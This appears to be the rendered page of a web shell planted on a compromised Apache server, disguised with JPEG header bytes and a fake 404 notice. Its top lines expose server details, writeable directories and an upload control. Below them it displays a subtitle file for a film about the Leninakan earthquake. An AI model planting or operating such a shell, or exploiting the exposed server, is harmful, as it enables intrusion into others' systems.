����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/02-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/02-2019/5c61a54f01b50-1549903183.vtt
WEBVTT

1
00:00:03.011 --> 00:00:06.012
<i>Film contains scenes
of tobacco consumption.</i>

2
00:00:06.191 --> 00:00:09.273
<i>Remember that smoking is bad
for your health.</i>

3
00:00:11.872 --> 00:00:14.843
<i>Mars Media Entertainment.</i>

4
00:00:22.874 --> 00:00:25.683
<i>Cinema Fund.</i>

5
00:00:43.595 --> 00:00:46.599
<i>Big Cinema Film Company.</i>

6
00:00:49.315 --> 00:00:51.717
<i>Mars Media Presents.</i>

7
00:00:52.435 --> 00:00:55.360
<i>Supported by Cinema Fund.</i>

8
00:00:56.356 --> 00:00:59.405
<i>Mars-Film Production.</i>

9
00:02:54.166 --> 00:02:55.736
Kid, are you alive?

10
00:02:57.206 --> 00:02:59.892
Come on, kid. Hang on.

11
00:03:38.689 --> 00:03:41.933
<i>8 YEARS LATER.</i>

12
00:04:10.653 --> 00:04:12.542
<i>Konstantin LAVRONENKO.</i>

13
00:04:14.012 --> 00:04:16.095
<i>Maria IVIIRONOVA.</i>

14
00:04:17.373 --> 00:04:19.375
<i>Viktor STEPANYAN.</i>

15
00:04:20.654 --> 00:04:22.655
<i>Tatev HOVAKIIVIYAN.</i>

16
00:04:24.093 --> 00:04:26.095
<i>Mikael POGHOSYAN.</i>

17
00:04:27.534 --> 00:04:29.376
<i>Hrant TOKHATYAN.</i>

18
00:04:30.933 --> 00:04:32.902
<i>Daniil IZOTOV.</i>

19
00:04:34.214 --> 00:04:36.103
<i>Mikael JANIBEKYAN.</i>

20
00:04:37.654 --> 00:04:39.623
<i>Sos JANIBEKYAN.</i>

21
00:04:41.015 --> 00:04:43.016
<i>Arsen GRIGORYAN.</i>

22
00:04:44.455 --> 00:04:46.378
<i>Sisak SEBASTIAN.</i>

23
00:04:47.615 --> 00:04:49.697
<i>Armen MARGARYAN.</i>

24
00:04:51.096 --> 00:04:53.098
<i>Arman NAVASARDYAN.</i>

25
00:04:54.416 --> 00:04:56.419
<i>Sabina AKHMEDOVA.</i>

26
00:04:57.896 --> 00:04:59.785
<i>Sargis GRIGORYAN.</i>

27
00:05:01.136 --> 00:05:03.139
<i>Marjik AVETISYAN.</i>

28
00:05:04.537 --> 00:05:06.539
<i>Hasmik ALEKSANYAN.</i>

29
00:05:07.898 --> 00:05:09.946
<i>Arevik MARTIROSYAN.</i>

30
00:05:11.337 --> 00:05:13.226
<i>David DADUNASHVILI.</i>

31
00:05:14.578 --> 00:05:16.626
<i>Irina BEZRUKOVA.</i>

32
00:05:17.858 --> 00:05:19.940
<i>Artem BYSTROV.</i>

33
00:05:20.458 --> 00:05:22.426
<i>Mikael ARAMYAN.</i>

34
00:05:23.538 --> 00:05:25.507
<i>Karen MARTIROSYAN.</i>

35
00:05:30.818 --> 00:05:32.981
<i>LENINAKAN.</i>

36
00:05:58.981 --> 00:06:00.472
Hello, brother.

37
00:06:06.863 --> 00:06:08.910
Do you remember the guy
who killed my family?

38
00:06:11.542 --> 00:06:14.194
Your family was
my family too, Robert.

39
00:06:14.703 --> 00:06:16.591
How could I forget?

40
00:06:16.942 --> 00:06:18.149
He's out.

41
00:06:18.623 --> 00:06:20.910
He comes back to Leninakan today.

42
00:06:21.783 --> 00:06:24.184
I will meet him. I want to look
into his eyes.

43
00:06:24.583 --> 00:06:28.030
- You don't even know what he looks like.
- I know where he lives.

44
00:06:28.343 --> 00:06:29.583
Wash up.

45
00:06:42.825 --> 00:06:46.752
- Hello, Lilit.
- Hello, Mr. Akopian.

46
00:06:48.586 --> 00:06:50.795
"Mr. Akopian" is what they
call me at work.

47
00:06:50.906 --> 00:06:52.794
Why are you like that, Lilit?

48
00:06:53.105 --> 00:06:56.155
I told you before,
you can just call me Armen.

49
00:06:59.147 --> 00:07:02.049
Go home. There's a present
for you there.

50
00:07:14.427 --> 00:07:15.633
Let's go.

51
00:07:16.347 --> 00:07:17.554
The chief has disappeared.

52
00:07:17.908 --> 00:07:20.036
This kind of girl would've driven
me crazy as well.

53
00:07:23.548 --> 00:07:24.754
Suren.

54
00:07:29.309 --> 00:07:30.720
Why did you let him in?

55
00:07:31.109 --> 00:07:33.396
Sister, he's ready to do
anything for you.

56
00:07:33.789 --> 00:07:35.632
Look at this expensive table.

57
00:07:36.109 --> 00:07:38.418
I bet for a cemeteries boss,
it's free.

58
00:07:38.909 --> 00:07:41.372
Do you want me to eat
at this tombstone?

59
00:07:41.390 --> 00:07:44.234
I just want you to be
a little bit politer with him.

60
00:07:45.470 --> 00:07:46.990
- He loves you.
- And I don't love him.

61
00:07:52.271 --> 00:07:53.761
He works at a cemetery.

62
00:07:55.551 --> 00:07:57.315
And I want to live.

63
00:07:58.312 --> 00:08:00.280
Why do you keep trying
to get me married?

64
00:08:00.672 --> 00:08:02.003
Let me graduate first.

65
00:08:08.752 --> 00:08:10.039
I just want you to be happy.

66
00:08:13.472 --> 00:08:16.397
Then take out this gravestone
with legs out of here.

67
00:08:28.554 --> 00:08:31.319
It won't move.
We'll need a crane to do that.

68
00:08:44.636 --> 00:08:46.559
- Here. Take it.
- What is this?

69
00:08:51.196 --> 00:08:53.119
I just want to talk to him.

70
00:08:53.876 --> 00:08:56.076
Just want to talk?
Who do you think this guy is?

71
00:08:56.156 --> 00:08:58.864
How many years was he in for?
Eight?

72
00:08:59.237 --> 00:09:02.301
You want to look him in the eye?
He will tear you apart.

73
00:09:11.237 --> 00:09:12.568
Good luck to you, Robert.

74
00:09:13.557 --> 00:09:15.003
Nice watch.

75
00:09:17.797 --> 00:09:19.003
Have you seen "Cobra"?

76
00:09:19.317 --> 00:09:21.605
I want a hair cut just like
Sylvester Stallone's.

77
00:09:23.478 --> 00:09:28.326
<i>We must unite in our quest for
the supremacy of the ideas common</i>

78
00:09:28.639 --> 00:09:31.084
<i>to mankind, preserving the life
of our civilization.</i>

79
00:09:31.438 --> 00:09:33.487
<i>Perhaps the only one
in this universe.</i>

80
00:09:34.479 --> 00:09:36.766
<i>Today I can tell you the following:</i>

81
00:09:37.079 --> 00:09:39.447
<i>Soviet Union has decided
to make cuts of the armed forces...</i>

82
00:09:39.760 --> 00:09:41.489
Third mouse this morning.

83
00:09:42.840 --> 00:09:45.605
We either need a cat or a trap.

84
00:09:46.680 --> 00:09:48.842
What did you buy again?

85
00:09:49.201 --> 00:09:50.566
Are you grumpy again?

86
00:09:50.881 --> 00:09:52.690
Is it the end of the world?

87
00:09:53.401 --> 00:09:56.485
- Who is going to eat all this meat?
- Our fridge is empty.

88
00:10:05.122 --> 00:10:07.693
Gayane called. She and Varouj
will stop by.

89
00:10:09.242 --> 00:10:12.850
That prick is not allowed to show
himself on the doorstep of this house.

90
00:10:13.083 --> 00:10:16.404
- Erem. She is your only daughter!
- Exactly!

91
00:10:17.522 --> 00:10:19.890
And he knocked her up out
of wedlock!

92
00:10:20.523 --> 00:10:21.888
Shame.

93
00:10:24.243 --> 00:10:28.532
Remember. I was going after you
for three years.

94
00:10:28.963 --> 00:10:32.366
When was that? Those were
different times.

95
00:10:32.764 --> 00:10:34.687
The times are always the same!

96
00:10:40.925 --> 00:10:42.087
Erem.

97
00:10:44.125 --> 00:10:46.651
Maybe you were going
after me wrong?

98
00:10:50.526 --> 00:10:52.210
Gayane!

99
00:10:54.847 --> 00:10:56.372
Roll out the red carpet!

100
00:10:56.887 --> 00:10:58.297
Hello, Gayane!

101
00:10:59.206 --> 00:11:01.528
Hello, my dear!

102
00:11:03.007 --> 00:11:04.815
- Good morning, Varouj.
- Good morning.

103
00:11:14.287 --> 00:11:17.849
I said that they are not welcome
in this house.

104
00:11:23.689 --> 00:11:25.612
Please, Erem. Please...

105
00:11:26.168 --> 00:11:27.374
Out!

106
00:11:30.369 --> 00:11:31.780
Let's go, my love.

107
00:11:48.811 --> 00:11:50.495
One day he will understand
and forgive.

108
00:11:50.811 --> 00:11:52.735
He doesn't know how much
I love you.

109
00:11:53.132 --> 00:11:54.576
You need to think about the baby.

110
00:11:55.171 --> 00:11:57.299
It's not good for the baby
if you're nervous.

111
00:11:58.292 --> 00:11:59.498
Deal?

112
00:12:01.332 --> 00:12:04.176
- Arsen, hey. Catch.
- Thank you.

113
00:12:04.972 --> 00:12:06.576
- Don't lose it.
- Hello.

114
00:12:07.532 --> 00:12:10.695
Good morning. Just go already!
The doctor is waiting. Go.

115
00:12:22.014 --> 00:12:24.220
There, love. Best price in town.

116
00:12:25.053 --> 00:12:26.942
Which piece is the best?

117
00:12:27.373 --> 00:12:29.900
For you - all of them are the best ones.
Do you want this one?

118
00:12:30.254 --> 00:12:32.416
Mom, you've lived in Armenia
for your entire life

119
00:12:32.854 --> 00:12:35.222
and haven't learned how
to pick out meat at the market.

120
00:12:37.814 --> 00:12:39.054
This one.

121
00:12:39.455 --> 00:12:42.140
What a great kid!
Very independent.

122
00:12:43.855 --> 00:12:45.779
- Why not in school?
- We're celebrating.

123
00:12:46.336 --> 00:12:48.065
My dad comes home today.

124
00:12:48.536 --> 00:12:51.666
Dear passengers.

125
00:12:51.977 --> 00:12:56.538
Please put your seats in
the upright position,

126
00:12:57.217 --> 00:12:59.537
buckle your seat belts,
and open the blinds.

127
00:13:00.736 --> 00:13:02.261
Yes, thank you.

128
00:13:02.576 --> 00:13:03.783
Buckle up, please.

129
00:13:04.297 --> 00:13:05.503
Great.

130
00:13:06.257 --> 00:13:07.667
Can I have your cup?

131
00:13:08.176 --> 00:13:10.020
- Sure.
- What a beauty.

132
00:13:11.097 --> 00:13:13.065
Your first time in Armenia?

133
00:13:13.937 --> 00:13:16.259
I have my whole life here.

134
00:13:16.938 --> 00:13:19.020
A wife and two kids.

135
00:15:10.427 --> 00:15:11.713
Ashkhen!

136
00:15:22.308 --> 00:15:23.548
Here!

137
00:15:33.309 --> 00:15:34.959
Lilit! Get under the table!

138
00:15:35.350 --> 00:15:37.796
I can't, my leg stuck. Suren!

139
00:15:53.111 --> 00:15:54.954
Mom!

140
00:15:56.551 --> 00:15:58.839
Vanya!

141
00:16:01.911 --> 00:16:04.278
Hold on, son! Hold on to me!

142
00:16:32.794 --> 00:16:35.605
Careful, go left!

143
00:17:17.918 --> 00:17:19.158
In the arch! In the arch!

144
00:17:19.758 --> 00:17:21.124
Everybody! In the arch!

145
00:17:22.039 --> 00:17:24.087
Come on! It's safe over there!

146
00:17:24.999 --> 00:17:26.922
Come on! Come on!

147
00:17:27.519 --> 00:17:29.999
What the hell are you doing?
What did I tell you?! In the arch!

148
00:17:30.079 --> 00:17:32.002
Everyone! Come on!

149
00:18:06.322 --> 00:18:08.246
Arsen! Son!

150
00:18:15.243 --> 00:18:17.371
Arsen!

151
00:18:20.804 --> 00:18:23.125
- Everything is going to be fine!
- No, Varouj.

152
00:18:23.444 --> 00:18:25.924
- I'll be right back.
- No, Varouj!

153
00:18:26.244 --> 00:18:27.655
- I'll be right back.
- No!

154
00:18:48.565 --> 00:18:49.772
Mom, mom!

155
00:18:50.446 --> 00:18:51.891
Mommy!

156
00:18:52.605 --> 00:18:53.936
Hush, hush. It's OK.

157
00:18:54.365 --> 00:18:55.731
Hush now...

158
00:20:57.816 --> 00:21:00.821
- Vanya... Vanya.
- Mom.

159
00:21:01.257 --> 00:21:03.338
Vanya... You are alive.

160
00:21:03.857 --> 00:21:07.304
- Vanya, are you hurt?
- Is everything OK?

161
00:21:08.017 --> 00:21:10.100
- Are you hurt?
- No. Are you OK, Mom?

162
00:21:10.298 --> 00:21:11.902
My dear.

163
00:21:14.658 --> 00:21:16.467
It's OK, Mommy.

164
00:21:22.779 --> 00:21:25.430
- Hang on...
- Mom, are you OK?

165
00:21:25.739 --> 00:21:26.945
Yes.

166
00:21:30.859 --> 00:21:32.827
Mommy, are you hurt?

167
00:21:39.300 --> 00:21:41.871
- Come here.
- Mommy...

168
00:21:42.260 --> 00:21:43.864
Mommy, you're bleeding.

169
00:21:45.021 --> 00:21:46.670
It's just a scratch.

170
00:21:51.301 --> 00:21:52.951
Vanya...

171
00:21:54.621 --> 00:21:57.102
Run home. Do you hear me?

172
00:21:58.702 --> 00:22:00.066
Call...

173
00:22:01.021 --> 00:22:02.945
Find Katya.

174
00:22:03.222 --> 00:22:05.111
Bring her here. Do you hear me?

175
00:22:08.022 --> 00:22:09.513
Run. Come on.

176
00:22:11.583 --> 00:22:13.347
Run.

177
00:22:14.663 --> 00:22:16.153
Run, run...

178
00:22:17.103 --> 00:22:18.912
Everything is OK.

179
00:23:11.148 --> 00:23:12.353
Stop!

180
00:23:13.268 --> 00:23:14.997
Stop!

181
00:23:16.508 --> 00:23:17.794
Hey, you!

182
00:23:18.708 --> 00:23:19.949
Help!

183
00:23:20.749 --> 00:23:23.229
Do you understand?
I need your help! Let's go!

184
00:23:23.869 --> 00:23:25.838
My father is there.
Underneath a slab.

185
00:23:26.309 --> 00:23:28.516
He's alive.
He's just underneath this slab.

186
00:23:31.550 --> 00:23:34.155
Help me lift this one up.
Do you understand?

187
00:23:35.309 --> 00:23:37.916
Dad! I brought help.
Hang on.

188
00:23:38.790 --> 00:23:39.951
Come on!

189
00:23:41.229 --> 00:23:42.436
Lift!

190
00:23:52.591 --> 00:23:54.720
Hang on, Dad. Almost there.

191
00:24:30.275 --> 00:24:31.514
Ashkhen...

192
00:25:12.558 --> 00:25:14.083
Let me try.

193
00:25:19.799 --> 00:25:22.245
Dad, hang on for a second.

194
00:25:23.559 --> 00:25:24.720
Almost...

195
00:25:30.519 --> 00:25:32.203
Come on.

196
00:25:34.440 --> 00:25:36.009
Grab my hand.

197
00:25:42.160 --> 00:25:43.366
Careful.

198
00:25:49.241 --> 00:25:50.844
Careful.

199
00:25:59.602 --> 00:26:01.252
I got it...

200
00:26:14.884 --> 00:26:17.410
What about Yerevan?
Is it still standing?

201
00:26:25.244 --> 00:26:26.848
Are you OK?

202
00:26:30.284 --> 00:26:32.207
Your arms and legs?
Are they OK?

203
00:26:32.965 --> 00:26:35.012
Let's go - we need your help.

204
00:26:36.604 --> 00:26:37.810
Let's go.

205
00:26:40.125 --> 00:26:41.729
Come on, come on.

206
00:27:00.127 --> 00:27:01.892
Lift!

207
00:27:05.647 --> 00:27:07.297
Come on!

208
00:27:07.728 --> 00:27:08.968
One more time!

209
00:27:17.488 --> 00:27:18.694
I don't know...

210
00:27:18.888 --> 00:27:22.018
Skinny but heavy
as if he is alive.

211
00:27:24.648 --> 00:27:26.378
One more time.

212
00:27:30.529 --> 00:27:31.974
Exactly like he's alive.

213
00:27:43.371 --> 00:27:44.577
I remember

214
00:27:45.411 --> 00:27:48.414
during the school play I dropped
a microphone. Just like that.

215
00:27:48.731 --> 00:27:50.574
With the stand.

216
00:27:50.971 --> 00:27:52.336
Everyone laughed.

217
00:27:52.651 --> 00:27:53.857
And my auntie Narine

218
00:27:54.211 --> 00:27:56.294
wanted me to go to Moscow's
clown school.

219
00:27:56.892 --> 00:27:58.542
But my dad told me:

220
00:27:58.892 --> 00:28:00.656
"Misha, a man must have

221
00:28:01.012 --> 00:28:02.662
an man's occupation".

222
00:28:03.092 --> 00:28:07.143
So I drive now... anything I can.

223
00:28:09.573 --> 00:28:11.098
Are you completely crazy?

224
00:28:15.053 --> 00:28:16.817
Don't you see what's happening?

225
00:28:17.373 --> 00:28:18.739
What?

226
00:28:19.094 --> 00:28:21.903
It was my birthday yesterday.
I had guests over. We had a lamb.

227
00:28:22.373 --> 00:28:25.059
And in the morning we had <i>khash</i>
that had been cooking all night.

228
00:28:25.414 --> 00:28:30.500
We just sat down,
just raised our glasses and... boom.

229
00:28:31.214 --> 00:28:32.500
I now have another birthday.

230
00:28:32.974 --> 00:28:34.976
Death is all around us.

231
00:28:36.575 --> 00:28:38.384
Which guests are you talking about?

232
00:28:38.775 --> 00:28:40.425
Which guests?

233
00:28:42.016 --> 00:28:43.221
My guests, my!

234
00:28:45.415 --> 00:28:48.784
Here they are.
In the back of my car.

235
00:28:50.616 --> 00:28:52.061
And it's not for you to decide

236
00:28:52.456 --> 00:28:54.903
when I can joke around
and when I cannot.

237
00:28:55.577 --> 00:28:57.497
Get your hand off of me.
You'll mess up my shirt.

238
00:28:57.736 --> 00:28:59.739
We have work to do.

239
00:29:04.657 --> 00:29:06.501
Let's go. Let's go.

240
00:29:07.178 --> 00:29:08.623
That way.

241
00:29:10.018 --> 00:29:11.544
Get in.

242
00:29:19.338 --> 00:29:21.147
Do you know where the hospital is?

243
00:29:22.258 --> 00:29:24.341
I'll find it.

244
00:30:16.464 --> 00:30:17.464
Suren?

245
00:30:25.583 --> 00:30:27.348
Suren!

246
00:30:28.184 --> 00:30:30.107
I'm here.

247
00:30:43.545 --> 00:30:44.752
Suren.

248
00:30:47.386 --> 00:30:49.548
I'll be right back. Wait for me.

249
00:30:49.986 --> 00:30:51.876
I'll be right there. I'll get help.

250
00:31:08.308 --> 00:31:09.548
Stop!

251
00:31:11.308 --> 00:31:15.199
What the hell are you doing?
Jumping under the wheels like that!

252
00:31:31.950 --> 00:31:34.396
<i>SHIRAKATSI ST.</i>

253
00:31:45.191 --> 00:31:46.841
- Move!
- No!

254
00:31:47.991 --> 00:31:50.995
- Move now or I'll go over you!
- Do it!

255
00:31:52.231 --> 00:31:54.120
Do you want to die or something?!

256
00:31:56.552 --> 00:31:59.032
Did your parents drop you as
a child very often?

257
00:32:00.392 --> 00:32:02.441
- Are you nuts?!
- I need your help over there!

258
00:32:02.753 --> 00:32:04.118
Everyone needs help around here!

259
00:32:04.473 --> 00:32:08.194
I need to drive these people back!
Get the hell out of the way!

260
00:32:08.593 --> 00:32:10.357
I said, get out of the way!

261
00:32:10.713 --> 00:32:12.202
Hey. What's going on here?

262
00:32:12.793 --> 00:32:14.873
There is a girl; she's alive.
And he refuses to help.

263
00:32:15.073 --> 00:32:16.438
I have a car full of wounded.

264
00:32:16.953 --> 00:32:18.433
They need to get
to the hospital. Now.

265
00:32:19.793 --> 00:32:21.079
Here is what we're going to do.

266
00:32:21.433 --> 00:32:23.640
First, we're going to the hospital
and unload.

267
00:32:23.953 --> 00:32:26.241
Then we're coming back here
and taking the ruins apart.

268
00:32:26.554 --> 00:32:27.885
We'll need your car.

269
00:32:28.474 --> 00:32:29.714
Everyone needs my car.

270
00:32:30.074 --> 00:32:31.918
Who made you the boss?

271
00:32:32.755 --> 00:32:34.882
Do you know what to do?

272
00:32:36.675 --> 00:32:38.279
And you?

273
00:32:39.915 --> 00:32:42.442
Then we're doing it my way.
Let's go.

274
00:32:46.596 --> 00:32:48.564
Hey, hey, hey! My car, my rules.

275
00:32:49.116 --> 00:32:51.164
Khash rides here.
Go on in the back.

276
00:32:54.517 --> 00:32:56.326
That girl - she needs help.

277
00:32:58.197 --> 00:32:59.802
They all need help.

278
00:33:55.922 --> 00:33:58.767
Katya! Mom is calling you!

279
00:33:59.483 --> 00:34:01.371
Katya!

280
00:34:37.125 --> 00:34:39.527
<i>LENINAKAN.</i>

281
00:34:43.805 --> 00:34:46.377
Brother! Bro!
Do you have a cigarette?

282
00:34:54.367 --> 00:34:56.938
- Where are you from?
- Ashtarak.

283
00:34:58.087 --> 00:34:59.418
Heard about it on the radio.

284
00:34:59.847 --> 00:35:01.929
Loaded the car up with bread
and took off.

285
00:35:02.928 --> 00:35:05.407
- You?
- Me? I'm from Yerevan.

286
00:35:06.887 --> 00:35:08.537
Do you have relatives there?

287
00:35:11.168 --> 00:35:12.817
No.

288
00:35:31.849 --> 00:35:34.012
Thank you, brother.

289
00:35:56.572 --> 00:35:58.973
Vanya...

290
00:36:00.612 --> 00:36:02.899
Where is Katya?

291
00:36:04.612 --> 00:36:06.216
She's not home?

292
00:36:09.133 --> 00:36:10.338
Come here.

293
00:36:10.692 --> 00:36:12.501
I couldn’t find our home.

294
00:36:14.533 --> 00:36:16.854
What do you mean?
You know where our street is.

295
00:36:17.173 --> 00:36:19.222
I couldn't find our street.

296
00:36:20.054 --> 00:36:23.103
Don't cry, my dear.
Come here.

297
00:36:23.534 --> 00:36:25.662
Let's go together.
We'll find her together.

298
00:36:26.294 --> 00:36:28.945
Give me your hand.
Let's go, my dear.

299
00:36:29.734 --> 00:36:31.339
Help me up.

300
00:36:40.775 --> 00:36:43.347
- Help me.
- Come on.

301
00:36:46.936 --> 00:36:48.621
Let's go.

302
00:37:32.540 --> 00:37:34.383
Sit down.

303
00:38:35.865 --> 00:38:37.435
Leave it!

304
00:39:22.069 --> 00:39:23.594
Let's go.

305
00:39:23.949 --> 00:39:26.759
You can't help him.

306
00:39:27.710 --> 00:39:29.997
He saved your son.

307
00:39:31.270 --> 00:39:32.999
I won't forget that till the end
of my life.

308
00:39:35.150 --> 00:39:37.551
And your future baby
won't appreciate

309
00:39:37.870 --> 00:39:40.920
his mother sitting on
the cold bricks.

310
00:40:31.795 --> 00:40:34.401
It's getting cold. We need some
firewood to survive the night.

311
00:40:34.635 --> 00:40:37.242
Can you do that? I saw a barrel
out there; I'll roll it over.

312
00:40:37.476 --> 00:40:39.683
You promised to help the girl.

313
00:40:48.036 --> 00:40:50.324
There's a small shovel
on the right.

314
00:40:50.597 --> 00:40:52.246
Pass it to me -
I'll chop some branches.

315
00:40:53.276 --> 00:40:55.803
Your shovel can wait.
Here, tie this end.

316
00:40:58.276 --> 00:40:59.880
Tie this end!

317
00:41:00.877 --> 00:41:02.959
Suren, is that you?

318
00:41:03.517 --> 00:41:05.360
I'm not Suren.

319
00:41:06.077 --> 00:41:07.489
Where is Suren?

320
00:41:07.838 --> 00:41:09.522
What's your name?

321
00:41:10.678 --> 00:41:12.123
Lilit.

322
00:41:12.958 --> 00:41:14.562
Who are you?

323
00:41:14.918 --> 00:41:16.807
I'm the one who will try
to help you, Lilit.

324
00:41:19.799 --> 00:41:21.244
Get in the truck.

325
00:41:21.559 --> 00:41:24.005
Pull the slab and I'll make sure it
won't slide in.

326
00:41:27.319 --> 00:41:29.925
Pure happiness upon me.

327
00:41:30.240 --> 00:41:32.481
Now I have two bosses.

328
00:41:42.801 --> 00:41:44.769
Turn it off. Off!

329
00:41:45.041 --> 00:41:46.531
There's a girl down there.

330
00:41:46.921 --> 00:41:48.889
You have promised to get her out.

331
00:41:49.601 --> 00:41:53.083
I've said we'll come back here
to clear up the ruins.

332
00:41:53.441 --> 00:41:55.489
It's going to be dark soon.
Without electricity

333
00:41:55.721 --> 00:41:57.881
we won't be able to do anything.
We'll freeze to death.

334
00:41:58.121 --> 00:41:59.361
Get firewood.

335
00:41:59.722 --> 00:42:03.329
We'll get her out first!
It's a matter of minutes!

336
00:42:03.602 --> 00:42:04.967
This way you'll kill her.

337
00:42:09.363 --> 00:42:11.012
Look here.

338
00:42:14.083 --> 00:42:16.211
She's buried underneath
something like this.

339
00:42:16.643 --> 00:42:19.170
Whichever slab you pull-
the other two will fall onto her.

340
00:42:19.724 --> 00:42:22.694
We need two cranes to get her out.

341
00:42:23.085 --> 00:42:25.325
She'll freeze before we get
a crane out here.

342
00:42:26.204 --> 00:42:28.491
I'm not killing her
and I'm not letting you either.

343
00:42:29.245 --> 00:42:31.213
We're going to sit around
and play with bricks.

344
00:42:31.605 --> 00:42:35.133
Robert, listen to him.
He knows what he's talking about.

345
00:42:36.966 --> 00:42:38.650
Senior lieutenant, sir.

346
00:42:39.285 --> 00:42:41.857
Eternal lieutenant, sir.

347
00:42:45.846 --> 00:42:47.575
I brought you help.

348
00:42:48.006 --> 00:42:49.770
Follow me.

349
00:42:53.726 --> 00:42:56.491
How's your mother?
Did you find her?

350
00:42:58.047 --> 00:42:59.856
She's alive and well.

351
00:43:00.887 --> 00:43:03.413
Mother is alive. Father is alive.

352
00:43:03.847 --> 00:43:05.771
Sisters are alive.

353
00:43:06.248 --> 00:43:07.692
I'm alive.

354
00:43:08.967 --> 00:43:10.458
It's a miracle.

355
00:43:18.089 --> 00:43:19.500
Katya...

356
00:43:21.570 --> 00:43:23.412
Katya...

357
00:43:24.769 --> 00:43:27.979
Where are you, baby?

358
00:43:28.450 --> 00:43:29.815
Come on, Mommy.

359
00:43:30.250 --> 00:43:32.378
We're almost there.

360
00:43:34.291 --> 00:43:35.895
Just like that.

361
00:43:54.331 --> 00:43:55.537
Go.

362
00:43:56.251 --> 00:43:58.903
And I'll catch up with you.

363
00:44:00.812 --> 00:44:02.462
Go, go.

364
00:44:05.212 --> 00:44:08.056
Mom, are all these people dead?

365
00:44:10.253 --> 00:44:11.823
They are, son.

366
00:44:12.213 --> 00:44:14.102
Are you going to die too?

367
00:44:16.734 --> 00:44:18.145
What are you saying?

368
00:44:19.693 --> 00:44:21.776
For as long as you love me...

369
00:44:23.534 --> 00:44:25.263
...I will live.

370
00:44:26.975 --> 00:44:29.581
I will live forever. Right here.

371
00:44:32.376 --> 00:44:34.184
In your heart.

372
00:44:38.456 --> 00:44:42.699
Mommy, I will love you very,
very much, just don't die.

373
00:46:41.826 --> 00:46:43.873
This will help you get warm.

374
00:46:45.825 --> 00:46:47.316
Thank you.

375
00:46:48.626 --> 00:46:50.594
I'll get you out.

376
00:46:59.587 --> 00:47:02.477
I need to check in with you
at the station.

377
00:47:04.187 --> 00:47:05.872
You will.

378
00:47:06.228 --> 00:47:08.117
Look around you.

379
00:47:08.508 --> 00:47:11.718
There is no station to check
in into.

380
00:47:12.868 --> 00:47:14.677
When you build a new one,

381
00:47:15.588 --> 00:47:18.320
I'll let you check in there.
Architect...

382
00:47:19.869 --> 00:47:21.678
Who, me?

383
00:47:22.790 --> 00:47:27.590
I've been building sheds and toilets
at the prison yard for the last 8 years.

384
00:47:30.790 --> 00:47:32.360
Did you find your people?

385
00:47:38.550 --> 00:47:40.553
Do you know how
they were waiting for you?

386
00:47:41.590 --> 00:47:43.354
They counted down the days...

387
00:47:43.990 --> 00:47:45.880
...till your return.

388
00:47:49.311 --> 00:47:50.881
I counted down too.

389
00:47:52.752 --> 00:47:54.356
Took me 8 years.

390
00:47:54.592 --> 00:47:56.434
I will take these ruins apart...

391
00:47:58.952 --> 00:48:01.523
...brick by brick until I find them.

392
00:48:04.953 --> 00:48:06.955
It's time for me to go.

393
00:48:17.554 --> 00:48:19.363
Dinner is served!

394
00:48:19.674 --> 00:48:22.121
It was my birthday yesterday.
Here you go.

395
00:48:22.915 --> 00:48:25.281
We made <i>khash</i> but didn't
even get to try it.

396
00:48:42.995 --> 00:48:44.236
Look at us.

397
00:48:44.836 --> 00:48:46.361
Eating <i>khash</i> at night.

398
00:48:48.876 --> 00:48:50.800
What about you, buddy?
Come on, come on.

399
00:48:51.917 --> 00:48:53.361
I can't.

400
00:48:55.156 --> 00:48:56.568
I lost my brother today.

401
00:48:58.597 --> 00:49:00.326
He was home when it all happened.

402
00:49:01.117 --> 00:49:03.405
Got scared. Ran out.

403
00:49:05.198 --> 00:49:07.087
Then run across the street.

404
00:49:07.678 --> 00:49:09.203
Hid in another house.

405
00:49:11.038 --> 00:49:12.847
And it folded in.

406
00:49:13.278 --> 00:49:15.202
Our house is fine...

407
00:49:17.439 --> 00:49:19.568
...and the other one is gone.

408
00:49:37.360 --> 00:49:39.124
Half of the city has fallen...

409
00:49:40.000 --> 00:49:42.048
And Spitak is all gone.

410
00:49:52.201 --> 00:49:53.407
<i>Sank, here.</i>

411
00:50:00.402 --> 00:50:01.814
Very well.

412
00:50:04.003 --> 00:50:06.927
Are you stupid? Are you going
to carry this boom box around?

413
00:50:07.243 --> 00:50:09.603
Are you joking? Who the hell
will notice? It's dark outside.

414
00:50:09.923 --> 00:50:12.530
It's imported, expensive.
Edik will pay good money for it.

415
00:50:12.924 --> 00:50:15.973
We're taking money and gold.
That's it. Got it?

416
00:50:16.684 --> 00:50:17.970
Let's go.

417
00:50:18.325 --> 00:50:20.053
I said, let's go!

418
00:50:25.045 --> 00:50:27.331
Someone is moaning in there.

419
00:50:28.644 --> 00:50:31.774
To hell with them. Let's get out
of here - it's shaking again.

420
00:50:39.645 --> 00:50:40.806
That's it.

421
00:50:44.566 --> 00:50:48.288
- We're almost out of alcohol.
- Try to get some vodka.

422
00:50:53.487 --> 00:50:55.967
- Georgians are here.
- What Georgians?

423
00:50:56.407 --> 00:50:58.171
Doctors. From Georgia.
They came to help you.

424
00:50:59.248 --> 00:51:01.455
Yes... They brought medicine
and everything necessary.

425
00:51:01.768 --> 00:51:04.168
- Good.
- Get some sleep.

426
00:51:46.171 --> 00:51:47.582
Doctor.

427
00:51:48.011 --> 00:51:49.581
Doctor!

428
00:51:51.611 --> 00:51:53.341
Her water just broke.

429
00:51:55.812 --> 00:51:57.257
Coming.

430
00:51:57.572 --> 00:51:59.098
Perfect timing.

431
00:51:59.413 --> 00:52:03.019
Although I was born on
New Year's Eve. I didn't ask anyone.

432
00:52:38.495 --> 00:52:40.544
<i>DAY 2...</i>

433
00:52:41.576 --> 00:52:43.226
Don't rush, buddy.

434
00:52:44.295 --> 00:52:47.061
He who rushes will have daughters.

435
00:52:54.457 --> 00:52:56.346
Smoke break.

436
00:53:42.340 --> 00:53:44.821
My daughter had one just like that.

437
00:53:58.582 --> 00:54:01.746
This one is definitely not hers.
Do you see the teeth marks?

438
00:54:02.423 --> 00:54:03.709
This one belonged to a boy.

439
00:57:12.758 --> 00:57:14.887
Do you want more, kid?

440
00:57:15.639 --> 00:57:18.209
- It's for my Mommy...
